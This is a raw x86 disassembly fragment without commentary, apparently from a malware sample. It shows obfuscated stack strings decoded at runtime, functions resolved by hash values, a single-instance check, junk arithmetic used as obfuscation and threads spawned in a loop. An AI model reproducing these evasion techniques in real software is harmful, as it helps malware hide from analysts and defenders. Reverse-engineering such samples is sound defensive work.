mov byte [esp + 0xd8], 0x7d
mov byte [esp + 0xd9], 0x22
mov byte [esp + 0xda], 0x7d
mov byte [esp + 0xdb], 0x10
mov byte [esp + 0xdc], 0x7d
mov byte [esp + 0xdd], 0x6e
mov byte [esp + 0xde], 0x7d
mov byte [esp + 0xdf], 0x40
mov byte [esp + 0xe0], 0x7d
mov byte [esp + 0xe1], 0x53
mov byte [esp + 0xe2], 0x7d
mov byte [esp + 0xe3], 0x6e
mov byte [esp + 0xe4], 0x7d
mov byte [esp + 0xe5], 0x7a
mov byte [esp + 0xe6], 0x7d
mov byte [esp + 0xe7], 0x45
mov byte [esp + 0xe8], 0x7d
mov byte [esp + 0xe9], 0x14
mov byte [esp + 0xea], 0x7d
mov byte [esp + 0xeb], 0x5e
mov byte [esp + 0xec], 0x7d
mov byte [esp + 0xed], 0x4a
mov byte [esp + 0xee], 0x7d
mov byte [esp + 0xef], 0x6e
mov byte [esp + 0xf0], 0x7d
mov byte [esp + 0xf1], 0x40
mov byte [esp + 0xf2], 0x7d
mov byte [esp + 0xf3], 0x5e
mov byte [esp + 0xf4], 0x7d
mov byte [esp + 0xf5], 0x7d
mov byte [esp + 0xf6], 0x7d
mov al, byte [esp + 0xd1]
mov al, byte [esp + 0xd0]
test al, al
jne 0x41bf54
xor esi, esi
lea edi, [esi + 0x7f]
nop dword [eax]
mov al, byte [esp + esi + 0xd1]
mov ecx, 0x7d
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*8]
shl eax, 2
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [esp + esi + 0xd1], dl
inc esi
cmp esi, 0x26
jb 0x41bf20
mov edi, dword [esp + 0xcc]
movzx eax, byte [esp + 0x17]
push eax
lea eax, [esp + 0xd5]
push edi
push eax
call fcn.00424150
mov ecx, dword [esp + 0x98]
add esp, 0xc
cmp ecx, 7
jbe 0x41bfaa
mov edx, dword [esp + 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41bfa0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0e4
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 7
mov word [esp + 0x78], ax
call fcn.00422af0
mov byte [esp + 0x78], 0
mov byte [esp + 0x79], 0x65
mov byte [esp + 0x7a], 0x4e
mov byte [esp + 0x7b], 0x34
mov byte [esp + 0x7c], 0x4e
mov byte [esp + 0x7d], 0x6f
mov byte [esp + 0x7e], 0x4e
mov byte [esp + 0x7f], 0x69
mov byte [esp + 0x80], 0x4e
mov byte [esp + 0x81], 0x34
mov byte [esp + 0x82], 0x4e
mov byte [esp + 0x83], 0x1a
mov byte [esp + 0x84], 0x4e
mov byte [esp + 0x85], 0x54
mov byte [esp + 0x86], 0x4e
mov byte [esp + 0x87], 0x4f
mov byte [esp + 0x88], 0x4e
mov byte [esp + 0x89], 0x77
mov byte [esp + 0x8a], 0x4e
mov byte [esp + 0x8b], 0x64
mov byte [esp + 0x8c], 0x4e
mov byte [esp + 0x8d], 0x1a
mov byte [esp + 0x8e], 0x4e
mov byte [esp + 0x8f], 0xa
mov byte [esp + 0x90], 0x4e
mov byte [esp + 0x91], 0xa
mov byte [esp + 0x92], 0x4e
mov byte [esp + 0x93], 0x77
mov byte [esp + 0x94], 0x4e
mov byte [esp + 0x95], 0x1f
mov byte [esp + 0x96], 0x4e
mov byte [esp + 0x97], 0x69
mov byte [esp + 0x98], 0x4e
mov byte [esp + 0x99], 0x79
mov byte [esp + 0x9a], 0x4e
mov byte [esp + 0x9b], 0x3a
mov byte [esp + 0x9c], 0x4e
mov byte [esp + 0x9d], 0x41
mov byte [esp + 0x9e], 0x4e
mov byte [esp + 0x9f], 0x77
mov byte [esp + 0xa0], 0x4e
mov byte [esp + 0xa1], 0x32
mov byte [esp + 0xa2], 0x4e
mov byte [esp + 0xa3], 0x5f
mov byte [esp + 0xa4], 0x4e
mov byte [esp + 0xa5], 0x4e
mov byte [esp + 0x17], al
mov byte [esp + 0xa6], 0x4e
mov al, byte [esp + 0x79]
mov al, byte [esp + 0x78]
test al, al
jne 0x41c16c
xor esi, esi
nop
mov al, byte [esp + esi + 0x79]
mov ecx, 0x4e
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*2]
mov ecx, 0x7f
shl eax, 3
cdq
idiv ecx
lea eax, [edx + 0x7f]
cdq
idiv ecx
mov byte [esp + esi + 0x79], dl
inc esi
cmp esi, 0x2e
jb 0x41c140
movzx eax, byte [esp + 0x17]
push eax
lea eax, [esp + 0x7d]
push eax
call fcn.00424130
add esp, 8
cmp dword [0x468724], 0
mov dword [esp + 0x1c], 0x7173f5
jne 0x41c2f1
mov byte [esp + 0x78], 0
mov byte [esp + 0x79], 0x66
mov byte [esp + 0x7a], 0x7d
mov byte [esp + 0x7b], 0x58
mov byte [esp + 0x7c], 0x74
mov byte [esp + 0x7d], 0x6f
mov byte [esp + 0x7e], 0x40
mov byte [esp + 0x7f], 0x45
mov byte [esp + 0x80], 0x6f
mov byte [esp + 0x81], 0x7d
mov byte [esp + 0x82], 0x37
mov byte [esp + 0x83], 0x16
mov byte [esp + 0x84], 0x79
mov byte [esp + 0x85], 0x16
mov byte [esp + 0x86], 0x40
mov byte [esp + 0x87], 0x37
mov byte [esp + 0x88], 0x7d
mov byte [esp + 0x89], 0x49
mov byte [esp + 0x8a], 0x1f
mov byte [esp + 0x8b], 0x5c
mov byte [esp + 0x8c], 0x16
mov byte [esp + 0x8d], 0x66
mov byte [esp + 0x8e], 0x79
mov byte [esp + 0x8f], 0x2d
mov byte [esp + 0x90], 0x49
mov byte [esp + 0x91], 0x2d
mov byte [esp + 0x92], 0x5c
mov byte [esp + 0x93], 0x16
mov byte [esp + 0x94], 0x11
mov byte [esp + 0x95], 0x65
mov al, byte [esp + 0x79]
mov al, byte [esp + 0x78]
test al, al
jne 0x41c2a9
xor esi, esi
nop word [eax + eax]
mov al, byte [esp + esi + 0x79]
mov ecx, 0x65
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x1b
mov ecx, 0x7f
cdq
idiv ecx
lea eax, [edx + 0x7f]
cdq
idiv ecx
mov byte [esp + esi + 0x79], dl
inc esi
cmp esi, 0x1d
jb 0x41c280
push 0x54
push 0x20d8fa8c
mov edx, 0xf
call fcn.00404980
add esp, 8
lea ecx, [esp + 0x79]
push ecx
push 1
push 0
call eax
push 0x62
push 0xe0c23134
mov edx, 0xf
mov esi, eax
call fcn.00404980
add esp, 8
push 0
push esi
call eax
test eax, eax
je 0x41c2f1
mov ecx, 1
jmp 0x41d044
push 0x5a
push 0xde1467b1
mov edx, 0xf
call fcn.00404980
add esp, 8
lea ecx, [esp + 0x134]
push ecx
call eax
cmp byte [0x4689c5], 0xe
jne 0x41c46d
mov esi, dword [esp + 0x148]
mov edx, 0xf
push 0x49
push 0xddde40d3
mov dword [0x4687b8], 0
mov dword [0x4687bc], 0x4687b8
mov dword [0x468798], esi
mov dword [0x46879c], 0
call fcn.00404980
add esp, 8
push 0x4687a0
call eax
shl esi, 2
push esi
call fcn.0043c243
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.00439310
add esp, 0xc
mov dword [0x468794], edi
test edi, edi
jne 0x41c38e
lea ecx, [edi + 1]
jmp 0x41d044
xor ecx, ecx
call fcn.004235f0
test eax, eax
jne 0x41c3a1
lea ecx, [eax + 1]
jmp 0x41d044
xorps xmm0, xmm0
mov dword [esp + 0xd8], 0
push 0x468814
lea ecx, [esp + 0xd4]
movq qword [esp + 0xd4], xmm0
call fcn.0042b650
mov edi, dword [esp + 0xd4]
mov esi, dword [esp + 0xd0]
cmp esi, edi
je 0x41c44c
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x7c]
call fcn.004188e0
sub esp, 0x18
lea eax, [esp + 0x90]
mov ecx, esp
push eax
call fcn.004188e0
xor ecx, ecx
call fcn.00423660
mov ecx, dword [esp + 0xa4]
add esp, 0x18
cmp ecx, 7
jbe 0x41c445
mov edx, dword [esp + 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c43b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0bc
push ecx
push edx
call fcn.004378af
add esp, 8
add esi, 0x18
cmp esi, edi
jne 0x41c3e0
xor ecx, ecx
call fcn.00423820
xor ecx, ecx
call fcn.004198f0
lea ecx, [esp + 0xd0]
mov esi, eax
call fcn.00418990
jmp 0x41d04b
movzx esi, word [esp + 0x134]
mov edi, 3
mov dword [esp + 0x60], 0x71324e
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
lea ecx, [edi + 2]
test edx, edx
je 0x41c4d7
add eax, 2
add eax, esi
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c4af
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41c582
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c4d0
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c4b5
jmp 0x41c582
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c4e9
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c531
mov ecx, dword [esp + 0x60]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [esp + 0x60], ecx
mov ecx, 5
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41c582
nop dword [eax]
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c522
dec eax
jmp 0x41c523
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41c510
jmp 0x41c582
mov eax, dword [esp + 0x60]
cdq
idiv ecx
test edx, edx
je 0x41c582
mov eax, dword [esp + 0x60]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov ecx, 5
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41c582
nop dword [eax]
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c572
inc eax
jmp 0x41c573
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41c560
cmp byte [0x4689c5], 0xa
jne 0x41c594
mov esi, dword [esp + 0x148]
jmp 0x41c59e
mov eax, dword [esp + 0x148]
lea esi, [eax + eax]
mov dword [esp + 0x64], esi
mov dword [esp + 0x60], 0x71324e
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c602
add eax, 2
add eax, esi
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c5d4
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41c6a3
nop word [eax + eax]
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c5fb
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c5e0
jmp 0x41c6a3
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c614
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c655
mov ecx, dword [esp + 0x60]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41c6a3
mov ecx, 5
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c646
dec eax
jmp 0x41c647
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41c634
jmp 0x41c6a3
mov eax, dword [esp + 0x60]
cdq
idiv ecx
test edx, edx
je 0x41c6a3
mov eax, dword [esp + 0x60]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41c6a3
mov ecx, 5
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c693
inc eax
jmp 0x41c694
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41c681
mov al, byte [0x4689c5]
cmp al, 0xa
je 0x41c6b4
cmp al, 0xb
jne 0x41c95a
push 0x49
push 0xddde40d3
mov edx, 0xf
mov dword [0x4687b8], 0
mov dword [0x4687bc], 0x4687b8
mov dword [0x468798], esi
mov dword [0x46879c], 0
call fcn.00404980
add esp, 8
push 0x4687a0
call eax
shl esi, 2
push esi
call fcn.0043c243
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.00439310
add esp, 0xc
mov dword [0x468794], edi
test edi, edi
jne 0x41c71f
lea ecx, [edi + 1]
jmp 0x41d044
mov dword [esp + 0x60], 0x71324e
mov edi, 3
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c782
mov esi, dword [esp + 0x64]
add eax, 2
add eax, esi
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c75a
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41c83e
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c77b
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c760
jmp 0x41c83e
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c794
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c7e1
mov ecx, dword [esp + 0x60]
mov esi, dword [esp + 0x64]
add ecx, 2
lea eax, [esi + 3]
imul ecx, eax
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41c83e
mov ecx, 5
nop dword [eax]
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c7d2
dec eax
jmp 0x41c7d3
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41c7c0
jmp 0x41c83e
mov eax, dword [esp + 0x60]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x41c83a
mov eax, dword [esp + 0x60]
mov esi, dword [esp + 0x64]
add eax, 0xb
cdq
lea ecx, [esi + 0x17]
idiv ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41c83e
mov ecx, 5
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c828
inc eax
jmp 0x41c829
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41c816
jmp 0x41c83e
mov esi, dword [esp + 0x64]
xor ecx, ecx
call fcn.004235f0
test eax, eax
jne 0x41c851
lea ecx, [eax + 1]
jmp 0x41d044
mov dword [esp + 0x60], 0x71324e
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c8b2
add eax, 2
add eax, esi
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c883
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41c95e
nop dword [eax]
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c8ab
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c890
jmp 0x41c95e
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41c8c4
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41c905
mov ecx, dword [esp + 0x60]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41c95e
mov ecx, 5
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c8f6
dec eax
jmp 0x41c8f7
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41c8e4
jmp 0x41c95e
mov eax, dword [esp + 0x60]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x41c95e
mov eax, dword [esp + 0x60]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41c95e
mov ecx, 5
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41c948
inc eax
jmp 0x41c949
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41c936
jmp 0x41c95e
mov esi, dword [esp + 0x64]
mov al, byte [0x4689c5]
cmp al, 0xa
je 0x41c96f
cmp al, 0xc
jne 0x41cbad
push 0x49
push 0xddde40d3
mov edx, 0xf
mov dword [0x46878c], 0
mov dword [0x468790], 0x46878c
mov dword [0x46876c], esi
mov dword [0x468770], 0
call fcn.00404980
add esp, 8
push 0x468774
call eax
shl esi, 2
push esi
call fcn.0043c243
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.00439310
add esp, 0xc
mov dword [0x468768], edi
test edi, edi
jne 0x41c9da
lea ecx, [edi + 1]
jmp 0x41d044
mov dword [esp + 0x60], 0x71324e
mov edi, 3
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41ca42
mov esi, dword [esp + 0x64]
add eax, 2
add eax, esi
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41ca15
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41cafe
nop dword [eax + eax]
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41ca3b
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41ca20
jmp 0x41cafe
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41ca54
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41caa1
mov ecx, dword [esp + 0x60]
mov esi, dword [esp + 0x64]
add ecx, 2
lea eax, [esi + 3]
imul ecx, eax
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41cafe
mov ecx, 5
nop dword [eax]
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41ca92
dec eax
jmp 0x41ca93
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41ca80
jmp 0x41cafe
mov eax, dword [esp + 0x60]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x41cafa
mov eax, dword [esp + 0x60]
mov esi, dword [esp + 0x64]
add eax, 0xb
cdq
lea ecx, [esi + 0x17]
idiv ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41cafe
mov ecx, 5
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cae8
inc eax
jmp 0x41cae9
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41cad6
jmp 0x41cafe
mov esi, dword [esp + 0x64]
xor edi, edi
mov dword [0x468770], 1
cmp dword [0x46876c], edi
jbe 0x41cb4c
push 0x52
push 0x8687ce53
mov edx, 0xf
call fcn.00404980
add esp, 8
push 0
push 0
push 0x468768
push 0x423450
push 0
push 0
call eax
mov ecx, dword [0x468768]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x46876c]
jb 0x41cb12
mov dword [esp + 0x60], 0x71324e
mov edi, 3
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cc62
add eax, 2
add eax, esi
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cb87
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41cbad
nop dword [eax]
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cbab
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41cb90
mov esi, 5
lea eax, [esp + 0x70]
mov dword [esp + 0x70], 0
mov ecx, eax
mov dword [esp + 0x74], eax
call fcn.0041f2b0
lea eax, [esp + 0x70]
xor ecx, ecx
mov dword [0x468720], eax
call fcn.00405770
mov al, byte [0x4689c5]
cmp al, 0xa
je 0x41cbea
cmp al, 0xb
jne 0x41d012
lea ecx, [esp + 0x68]
call fcn.00415fa0
test eax, eax
je 0x41d00d
mov dword [esp + 0x60], 0x71324e
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41cd1f
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x68]
add eax, 2
add eax, ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cc35
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41cdc2
nop dword [eax + eax]
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cc5b
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41cc40
jmp 0x41cdc2
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cc74
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41ccbc
mov ecx, dword [esp + 0x60]
lea eax, [esi + 3]
add ecx, 2
mov esi, 5
imul ecx, eax
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41cbb2
mov eax, dword [esp + 0x60]
cdq
idiv esi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41ccaa
dec eax
jmp 0x41ccab
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41cc98
jmp 0x41cbb2
mov eax, dword [esp + 0x60]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x41cd18
mov eax, dword [esp + 0x60]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41cbad
mov esi, 5
mov eax, dword [esp + 0x60]
cdq
idiv esi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cd03
inc eax
jmp 0x41cd04
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41ccf1
jmp 0x41cbb2
mov esi, ecx
jmp 0x41cbb2
mov eax, dword [esp + 0x60]
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cd35
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41cd75
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x68]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41cdc2
mov eax, dword [esp + 0x60]
cdq
idiv esi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cd66
dec eax
jmp 0x41cd67
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41cd54
jmp 0x41cdc2
mov eax, dword [esp + 0x60]
cdq
idiv esi
test edx, edx
je 0x41cdc2
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x68]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41cdc2
mov eax, dword [esp + 0x60]
cdq
idiv esi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cdb2
inc eax
jmp 0x41cdb3
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41cda0
mov dword [esp + 0x60], 0x71324e
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41ce22
add eax, 2
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cdf2
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41cec2
nop dword [eax + eax]
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41ce1b
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41ce00
jmp 0x41cec2
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41ce34
dec eax
or eax, 0xfffffffc
add eax, 1
mov eax, dword [esp + 0x60]
je 0x41ce69
add eax, 2
lea eax, [eax + eax*2]
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
mov eax, dword [esp + 0x60]
cdq
idiv esi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41ce5a
dec eax
jmp 0x41ce5b
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41ce48
jmp 0x41cec2
cdq
idiv esi
test edx, edx
je 0x41cec2
mov ecx, dword [esp + 0x60]
mov eax, 0xb21642c9
add ecx, 0xb
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
jne 0x41cec2
nop dword [eax]
mov eax, dword [esp + 0x60]
cdq
idiv esi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41ceb2
inc eax
jmp 0x41ceb3
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv edi
test edx, edx
je 0x41cea0
mov esi, dword [esp + 0x68]
test esi, esi
je 0x41d00d
nop
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004188e0
xor ecx, ecx
call fcn.00423660
add esp, 0x18
mov edi, esi
cmp dword [esi + 0x14], 7
jbe 0x41ceef
mov edi, dword [esi]
mov dword [esp + 0x60], 0x71324e
mov ecx, 3
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cf52
add eax, 2
add eax, edi
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cf26
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x41d002
nop dword [eax]
mov eax, dword [esp + 0x60]
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cf4b
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41cf30
jmp 0x41d002
mov eax, dword [esp + 0x60]
and eax, 0x80000003
jns 0x41cf64
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x41cfa9
mov ecx, dword [esp + 0x60]
lea eax, [edi + 3]
add ecx, 2
imul ecx, eax
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x60]
test al, 1
jne 0x41d002
mov ecx, 5
mov eax, dword [esp + 0x60]
cdq
idiv ecx
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cf9a
dec eax
jmp 0x41cf9b
inc eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
test al, 1
je 0x41cf88
jmp 0x41d002
mov eax, dword [esp + 0x60]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x41d002
mov eax, dword [esp + 0x60]
lea ecx, [edi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov ecx, 3
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv ecx
test edx, edx
jne 0x41d002
mov edi, 5
nop
mov eax, dword [esp + 0x60]
cdq
idiv edi
mov eax, dword [esp + 0x60]
test edx, edx
je 0x41cff2
inc eax
jmp 0x41cff3
dec eax
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
cdq
idiv ecx
test edx, edx
je 0x41cfe0
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x41ced0
mov al, byte [0x4689c5]
cmp al, 0xa
je 0x41d01a
cmp al, 0xc
jne 0x41d01f
call fcn.0041e6b0
cmp dword [0x46879c], 0
je 0x41d02f
xor ecx, ecx
call fcn.00423820
cmp dword [0x468770], 0
je 0x41d042
mov ecx, 1
call fcn.00423820
xor ecx, ecx
call fcn.004198f0
mov esi, eax
mov ecx, dword [esp + 0x124]
cmp ecx, 7
jbe 0x41d089
mov edx, dword [esp + 0x110]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41d07f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0e9
push ecx
push edx
call fcn.004378af
add esp, 8
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0xa54]
xor ecx, esp
call fcn.00437671
mov esp, ebp
pop ebp
